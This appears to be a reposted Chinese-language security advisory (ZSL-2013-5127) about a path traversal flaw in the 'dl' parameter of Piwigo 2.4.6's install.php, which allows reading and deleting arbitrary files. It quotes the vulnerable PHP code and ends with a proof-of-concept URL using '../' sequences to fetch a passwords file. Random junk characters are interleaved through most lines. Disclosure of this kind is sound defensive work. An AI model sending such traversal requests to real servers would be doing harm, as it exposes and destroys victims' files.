Piwigo是用PHP编写的相册脚本。
! \3 m6 B% X& t$ K G w+ D, H, t3 i) L( _* {+ x" ?
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
& H Y4 _; N; b7 p1 c+ S* m- k, \====================================================================
, D- t3 U; K% s, R ]& P4 l/ l/install.php:+ e2 J9 S, { \. G
-------------- @8 `+ p7 C7 O1 l" y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& l5 k9 Q1 Q, B" f
114: {
' T6 g6 f( s- G7 ~9 Y2 q115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
7 q6 j7 z/ ~6 l4 J4 q$ E116: header('Cache-Control: no-cache, must-revalidate');7 n( b" s# b8 s$ Y5 }# u( _* h
117: header('Pragma: no-cache');+ ]( K& U7 F; M6 v& T- {: M% j* V
118: header('Content-Disposition: attachment; filename="database.inc.php"');
8 w5 y1 X$ s2 {119: header('Content-Transfer-Encoding: binary');" C [( a1 B: x/ W. y7 K, S
120: header('Content-Length: '.filesize($filename));. P1 {7 o5 p" n. s& x
121: echo file_get_contents($filename);- n! G: j$ y: p3 J# i3 c
122: unlink($filename);
$ j3 f1 m4 F7 A, y0 O7 a+ o# @+ }123: exit();& |* d% L1 N! u' G5 M* l
124: }
; d+ C1 N' l$ `- G- j# E* Q% C====================================================================
* d5 K+ m2 c o& U ' c+ J' ^8 V3 c; w
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)' d. S4 }0 A' T- c
Apache 2.4.2 (Win32)
4 N) m) A9 P; v% z) i$ } PHP 5.4.4
' G+ @3 T' J! l4 @) J! q" r MySQL 5.5.25a- K( ?8 ~& p) E0 t$ F: X- {
/ u0 e7 U2 _3 X/ u/ I3 U9 S- DVulnerability discovered by Gjoko 'LiquidWorm' Krstic9 f+ _) |% E- I' u
@zeroscience
* U) h; _( x g0 ] 6 w% `$ D* P' e, P- V, U
Advisory ID: ZSL-2013-5127
% N* c, d4 @4 E7 a6 @6 tAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
+ e$ o3 R3 M' M3 g. ^Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
4 M2 h3 }7 R6 N- y. ~ , g% y8 N+ W' b8 W+ a% C* Q
15.02.20139 J+ E) t' a2 b2 ]3 c- i
: Z) Y8 r/ O. A--6 d5 z# Z0 t5 b
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt" J& e6 ~! o# S/ v/ b: q7 D
! y, y# G9 z1 x0 U: W. s/ S
|